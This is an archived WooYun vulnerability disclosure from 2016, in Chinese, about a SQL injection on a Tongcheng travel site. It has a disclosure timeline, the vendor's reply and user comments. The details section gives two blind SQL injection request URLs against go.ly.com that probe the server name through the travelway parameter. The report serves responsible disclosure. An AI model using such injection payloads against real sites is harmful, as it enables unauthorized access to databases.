苏州同程某站SQL注入一枚

admin

141746
文章

117
评论

2017年3月20日15:20:09评论330 views字数 230阅读0分46秒阅读模式

摘要

2016-03-17：细节已通知厂商并且等待厂商处理中
2016-03-18：厂商已经确认，细节仅向厂商公开
2016-03-18：厂商已经修复漏洞并主动公开，细节向公众公开

漏洞概要关注数(30) 关注此漏洞

缺陷编号： WooYun-2016-185861

漏洞标题：苏州同程某站SQL注入一枚

漏洞作者：路人甲

提交时间： 2016-03-17 20:57

修复时间： 2016-03-18 16:23

公开时间： 2016-03-18 16:23

漏洞类型： SQL注射漏洞

危害等级：高

自评Rank： 15

漏洞状态：厂商已经修复

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： SQL注入

7人收藏

漏洞详情

披露状态：

2016-03-17：细节已通知厂商并且等待厂商处理中
2016-03-18：厂商已经确认，细节仅向厂商公开
2016-03-18：厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

Tangscan的插件666，waf不是万能的，没有waf又万万不能。

详细说明：

code 区域

 WooYun: 神器而已之苏州同程旅游SQL注入漏洞 
 难道这个漏洞，你以为加上waf就没用了吗？我没玩过mssql。
 所以你还是老老实实从源头修起吧。

code 区域

返回正确
 go.ly.com/ajax/GetNewRaiderInfo?type=1&desItemId=&desItemKind=&travelway='邮轮') and left(@@SERVERNAME,1)='t' and ('x'='x'&pageSize=12&pageindex=1&viewtype=1&iid=0.9737567349802703

code 区域

返回错误
 go.ly.com/ajax/GetNewRaiderInfo?type=1&desItemId=&desItemKind=&travelway='邮轮') and left(@@SERVERNAME,1)='x' and ('x'='x'&pageSize=12&pageindex=1&viewtype=1&iid=0.9737567349802703

漏洞证明：

修复方案：

源头修起、

版权声明：转载请注明来源路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：18

确认时间：2016-03-18 10:53

厂商回复：

同一个参数又被报，打脸啊，开发传错机器了...是有从代码层面修来着
∠( ᐛ 」∠)_

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共3人评价):

登陆后才能进行评分

33.4%

66.7%

评价

2016-03-17 21:20 | whynot ( 普通白帽子 | Rank:678 漏洞数:136 | 为你解冻冰河为你放弃世界有何不可)

1

666

1# 回复此人
2016-03-17 21:53 | 小川 ( 核心白帽子 | Rank:1627 漏洞数:241 | 一个致力要将乌云变成搞笑论坛的男人)

1

what?

2# 回复此人
2016-03-18 10:56 | hear7v ( 普通白帽子 | Rank:175 漏洞数:26 | 求组织收留啊)

1

qiugongkai

3# 回复此人
2016-03-18 12:45 | 冰杰 ( 实习白帽子 | Rank:53 漏洞数:6 | 彩笔是我...)

1

@苏州同程旅游网络科技有限公司小吴同志又被打脸了

4# 回复此人
2016-03-18 16:48 | whynot ( 普通白帽子 | Rank:678 漏洞数:136 | 为你解冻冰河为你放弃世界有何不可)

1

matt大表哥就是不一样啊

5# 回复此人
2016-03-18 16:54 | LoveSnow ( 实习白帽子 | Rank:85 漏洞数:20 | 以正和，以奇胜！)

1

但是这个漏洞和tangscan有什么关系，没看懂？

6# 回复此人
2016-03-19 19:54 | 疯子 ( 普通白帽子 | Rank:259 漏洞数:45 | 世人笑我太疯癫，我笑世人看不穿~)

1

@冰杰打毛的脸~跑了

7# 回复此人
2016-03-20 13:14 | 玄道 ( 普通白帽子 | Rank:142 漏洞数:42 | 就是注入就是注入注入)

1

@LoveSnow 插件是唐朝的

8# 回复此人
2016-03-21 12:34 | 柯腾 ( 普通白帽子 | Rank:111 漏洞数:29 )

1

我记得这几期众测是有同程的，应该去众测提交。2333333

9# 回复此人
2016-03-21 16:39 | 冰杰 ( 实习白帽子 | Rank:53 漏洞数:6 | 彩笔是我...)

1

@疯子啥意思啊。。。

10# 回复此人
2016-03-24 15:14 | 黑色雨滴 ( 实习白帽子 | Rank:39 漏洞数:10 | 没有主页新手一个前来玩玩)

1

我来看直播日狗..

11# 回复此人

漏洞概要 关注数(30) 关注此漏洞

缺陷编号： WooYun-2016-185861

漏洞标题： 苏州同程某站SQL注入一枚

相关厂商： 苏州同程旅游网络科技有限公司

漏洞作者： 路人甲

提交时间： 2016-03-17 20:57

修复时间： 2016-03-18 16:23

公开时间： 2016-03-18 16:23

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 15

漏洞状态： 厂商已经修复

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： SQL注入

7人收藏

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

漏洞评价(共3人评价): 登陆后才能进行评分

评价

发表评论

漏洞概要关注数(30) 关注此漏洞

漏洞标题：苏州同程某站SQL注入一枚

相关厂商：苏州同程旅游网络科技有限公司

漏洞作者：路人甲

危害等级：高

漏洞状态：厂商已经修复

版权声明：转载请注明来源路人甲@乌云

漏洞评价(共3人评价):

登陆后才能进行评分